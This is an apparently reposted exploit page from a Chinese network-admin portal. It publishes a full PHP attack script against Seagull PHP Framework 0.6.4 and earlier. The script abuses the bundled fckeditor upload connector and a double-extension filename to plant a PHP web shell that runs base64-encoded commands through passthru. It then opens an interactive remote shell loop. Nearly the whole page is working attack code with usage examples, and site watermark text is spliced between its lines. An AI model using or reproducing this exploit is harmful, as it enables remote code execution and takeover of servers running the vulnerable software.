网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > Exploit > Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit  

Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit

2008-06-27  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

<?php

/*
 ------------------------------------------------------------------------
 Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit
 ------------------------------------------------------------------------
 
 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com
 
 link.....: http://seagullproject.org/
 details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)

中国网管论坛bbs.bitsCN.com

 [-] vulnerable code in /www/tinyfck/filemanager/connectors/php/config.php
 
 33. // SECURITY: You must explicitelly enable this "connector". (Set it to "true").
 34. $Config['Enabled'] = true ;
 35. 
 36. // Path to user files relative to the document root.
 37. $Config['UserFilesPath'] = SGL_BASE_URL . '/images/' ;
 38. 
 39. // Fill the following value it you prefer to specify the absolute path for the
 40. // user files directory. Usefull if you are using a virtual directory, symbolic
 41. // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.
 42. // Attention: The above 'UserFilesPath' must point to the same directory.
 43. $Config['UserFilesAbsolutePath'] = SGL_WEB_ROOT.'/images/';
 44. 
 45. $Config['AllowedExtensions']['File']    = array() ; 网管u家u.bitscn@com
 46. $Config['DeniedExtensions']['File']     = array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm', [...]
 47. 
 48. $Config['AllowedExtensions']['Image']   = array('jpg','gif','jpeg','png') ;
 49. $Config['DeniedExtensions']['Image']    = array() ;
 50. 
 51. $Config['AllowedExtensions']['Flash']   = array('swf','fla') ;
 52. $Config['DeniedExtensions']['Flash']    = array() ;
 53. 
 54. $Config['AllowedExtensions']['Media']   = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
 55. $Config['DeniedExtensions']['Media']    = array() ;
 
 with a default configuration of this script, an attacker might be able to upload arbitrary
 files containing malicious PHP code due to multiple file extensions isn't properly checked

网管u家u.bitscn@com

*/
网管下载dl.bitscn.com

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
网管联盟bitsCN@com

define(STDIN, fopen("php://stdin", "r"));

网管联盟bitsCN@com

function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
网管u家u.bitscn@com

print "\n+--------------------------------------------------------------------+";
print "\n| Seagull <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |";
print "\n+--------------------------------------------------------------------+\n";
网管u家u.bitsCN.com

if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /seagull/\n";
 die();
}

中国网管联盟bitsCN.com

$host = $argv[1];
$path = $argv[2];

网管网www.bitscn.com

$filename  = md5(time()).".php.php4";
$connector = "tinyfck/filemanager/connectors/php/connector.php";
网管u家u.bitscn@com

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n\r\n";
$payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";
网管联盟bitsCN_com

$packet  = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

网管联盟bitsCN@com

preg_match("/OnUploadCompleted\((.*),\"(.*)\"\)/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");

网管网www.bitscn.com

while(1)
{
 print "\nseagull-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}images/File/{$html[2]} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $output = http_send($host, $packet);
  if (!preg_match("/_code_/", $output)) die("\n[-] Exploit failed...\n");
  $shell  = explode("_code_", $output);
  print "\n{$shell[1]}";
 }
 else break;
}
网管u家u.bitscn@com

?>

网管论坛bbs_bitsCN_com



TAGs         "   n"   Config   print   host   packet   array      
 上一篇:Galmeta Post CMS 0.2 Multiple Local File Inclusion Vulnerabilities   下一篇:Riddles Complete Website 1.2.1 (riddleid) SQL Injection Vulnerability
Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: